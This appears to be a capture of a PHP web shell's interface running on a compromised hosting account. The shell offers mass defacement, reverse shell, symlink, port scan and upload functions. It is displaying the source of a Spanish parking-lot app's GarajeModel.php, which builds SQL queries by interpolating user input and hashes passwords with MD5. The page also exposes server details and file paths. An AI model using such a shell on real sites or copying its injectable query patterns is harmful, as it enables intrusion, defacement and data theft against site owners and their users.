Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
parqueo
/
Models
/
Viewing: GarajeModel.php
<?php class GarajeModel extends Query { private $usuario, $nombre, $tipo_vehiculo, $id_caja, $id, $estado, $cargo, $mail, $img; public function __construct() { parent::__construct(); } // Obtener todos los garajes public function getAllGarajes() { $sql = "SELECT g.id, g.nombre, g.estado, g.tipo_vehiculo FROM garajes g"; return $this->selectAll($sql); } // Buscar garajes por filtro (nombre o tipo_vehiculo) public function searchGarajes(string $filter) { $sql = "SELECT g.id, g.nombre, g.estado, g.tipo_vehiculo FROM garajes g WHERE g.nombre LIKE '%$filter%' OR g.tipo_vehiculo LIKE '%$filter%'"; return $this->selectAll($sql); } public function insertarUsuario($nombre, $email, $clave, $cargo) { // Encriptar la clave $claveEncriptada = MD5($clave); // Construir SQL directamente $sqlInsert = "INSERT INTO usuarios (nombre, email, clave, cargo, estado, creado) VALUES ('{$nombre}', '{$email}', '{$claveEncriptada}', '{$cargo}', 'activo', NOW())"; // Ejecutar usando el método save de Query $insert = $this->save($sqlInsert, []); // Devolver "ok" si se insertó, "error" si falló return $insert == 1 ? "ok" : "error"; } public function garajeExiste($nombre, $tipo_vehiculo) { // Escapamos los valores para prevenir inyección $nombre = addslashes($nombre); $tipo_vehiculo = addslashes($tipo_vehiculo); // Consulta usando el método select de Query $sql = "SELECT id FROM garajes WHERE nombre = '$nombre' AND tipo_vehiculo = '$tipo_vehiculo'"; $resultado = $this->select($sql); // Retorna true si existe, false si no return !empty($resultado); } public function getGarajeById(int $id) { $sql = "SELECT id, nombre, tipo_vehiculo, estado FROM garajes WHERE id = $id"; $data = $this->select($sql); return $data; } // Verificar si existe otro garaje al editar public function garajeExisteEditar($id, $nombre, $tipo_vehiculo) { $sql = "SELECT id FROM garajes WHERE nombre = '$nombre' AND tipo_vehiculo = '$tipo_vehiculo' AND id != $id"; $data = $this->select($sql); return $data ? true : false; } // Actualizar garaje public function updateGaraje($id, $nombre, $tipo_vehiculo) { $sql = "UPDATE garajes SET nombre = '$nombre', tipo_vehiculo = '$tipo_vehiculo' WHERE id = $id"; return $this->save($sql, []); } public function accionGaraje($id, $accion) { switch ($accion) { case 'eliminar': $sql = "DELETE FROM garajes WHERE id = $id"; $data = $this->save($sql, []); return $data == 1; case 'inactivar': $sql = "UPDATE garajes SET estado = 'inactivo' WHERE id = $id"; $data = $this->save($sql, []); return $data == 1; case 'reintegrar': $sql = "UPDATE garajes SET estado = 'activo' WHERE id = $id"; $data = $this->save($sql, []); return $data == 1; default: return false; } } public function getUserById(int $id) { // Traer solo id y nombre del usuario $sqlUsuario = "SELECT id, nombre FROM usuarios WHERE id = $id"; $usuario = $this->select($sqlUsuario); if (!$usuario) { return null; // Si no existe usuario } // Traer permisos del usuario con JOIN $sqlPermisos = "SELECT p.nombre FROM usuario_permisos up INNER JOIN permisos p ON up.permiso_id = p.id WHERE up.usuario_id = $id"; $permisos = $this->selectAll($sqlPermisos); // Array simple de permisos $usuario['permisos'] = array_column($permisos, 'nombre'); return $usuario; } public function createGaraje($nombre, $tipo_vehiculo) { try { $this->nombre = $nombre; $this->tipo_vehiculo = $tipo_vehiculo; $this->estado = 'activo'; // estado por defecto $sql = "INSERT INTO garajes (nombre, tipo_vehiculo, estado) VALUES (?, ?, ?)"; $params = [$this->nombre, $this->tipo_vehiculo, $this->estado]; $data = $this->save($sql, $params); if ($data == 1) { return ['success' => true]; } else { return ['success' => false, 'error' => 'No se pudo crear el garaje']; } } catch (PDOException $e) { error_log("Error en createGaraje: " . $e->getMessage()); return ['success' => false, 'error' => 'Error de base de datos']; } } }
Coded With 💗 by
0x6ick